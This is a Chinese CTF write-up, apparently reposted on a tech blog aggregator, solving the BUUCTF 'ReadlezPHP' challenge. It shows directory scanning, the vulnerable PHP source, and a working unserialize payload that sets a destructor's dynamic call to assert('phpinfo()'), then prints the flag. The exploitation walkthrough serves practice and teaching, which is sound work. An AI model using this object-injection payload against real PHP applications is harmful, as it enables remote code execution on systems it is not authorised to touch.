当前位置: 首页 > ops >正文

BUUCTF——ReadlezPHP

BUUCTF——ReadlezPHP

进入靶场

在这里插入图片描述

看了看框架和源码信息

没有什么可以利用的地方

爆破一下目录看看

在这里插入图片描述

结果只出来个index.php

看了一下Findsomthing

报了个路径

/time.php?source

在这里插入图片描述

拼接访问一下

在这里插入图片描述

出了个php代码

<?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);

代码结构分析

  1. 类定义 - HelloPhp 类:
    • 属性:
      • public $a
      • public $b
    • 构造函数 __construct():
      • 初始化 $this->a = "Y-m-d h:i:s" (日期格式字符串)
      • 初始化 $this->b = "date" (PHP日期函数名)
    • 析构函数 __destruct():
      • $this->a 赋值给 $a
      • $this->b 赋值给 $b
      • 执行 $b($a) 并输出结果 (动态函数调用)
  2. 实例化:
    • $c = new HelloPhp 创建了一个默认的 HelloPhp 对象
  3. 源代码查看功能:
    • 如果 GET 参数 source 存在,则显示当前文件源代码并退出
  4. 反序列化入口:
    • @$ppp = unserialize($_GET["data"]) 从 GET 参数 data 反序列化数据

构造反序列化payload

<?php
class HelloPhp
{public $a='phpinfo()';public $b='assert';}
$c = new HelloPhp;
echo(serialize($c));

在这里插入图片描述

拿到反序列化代码

构造payload

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

在这里插入图片描述

进入phpinfo 翻翻配置信息

翻到好东西了

在这里插入图片描述

flag{6fcec1e0-69df-46c7-a734-22b02c305449}

直接下播!!!

在这里插入图片描述

http://www.xdnf.cn/news/7110.html

相关文章:

  • KnowCard:我的知识卡片生成器是怎么炼成的?
  • 高能数造闪耀 CIBF 2025,以创新技术引领新能源智造新征程
  • Android 自定义悬浮拖动吸附按钮
  • MyBatis 延迟加载与缓存
  • 【时时三省】(C语言基础)数组习题
  • Linux虚拟文件系统(1)
  • 《沙尘暴》观影记:当家庭成为人性的修罗场
  • 记录一次修改nacos安全问题导致服务调用出现404
  • 【Canvas与诗词】醉里挑灯看剑 梦回吹角连营
  • DeepSeek 赋能脑科学:解锁神经科学研究与应用的新密码
  • 一文讲解Function Calling是什么?
  • vmware虚拟机运行多个产生卡顿问题
  • python打卡第29天
  • Python——一些琐碎知识点
  • Java八股文——Java基础篇
  • 刷题心得:荷兰国旗问题与三指针法题目背景
  • AM32电调学习解读七:其他代码文件介绍
  • 2901. 最长相邻不相等子序列 II
  • Seata源码—6.Seata AT模式的数据源代理一
  • 2025.05.17得物机考笔试真题第二题
  • React 19中useContext不需要Provider了。
  • Java基础知识总结(超详细整理)
  • 32LED心形灯程序源代码
  • 常见的 HTTP 接口(请求方法)
  • PCB设计(十九)PCB设计中NPN/PNP选型策略
  • Window远程连接Linux桌面版
  • 掘金欧洲宠物经济新蓝海:比利时天然宠粮市场爆发与跨境新机遇
  • c++从入门到精通(六)--特殊工具与技术-完结篇
  • Azure 机器学习初学者指南
  • Nacos数据写入流程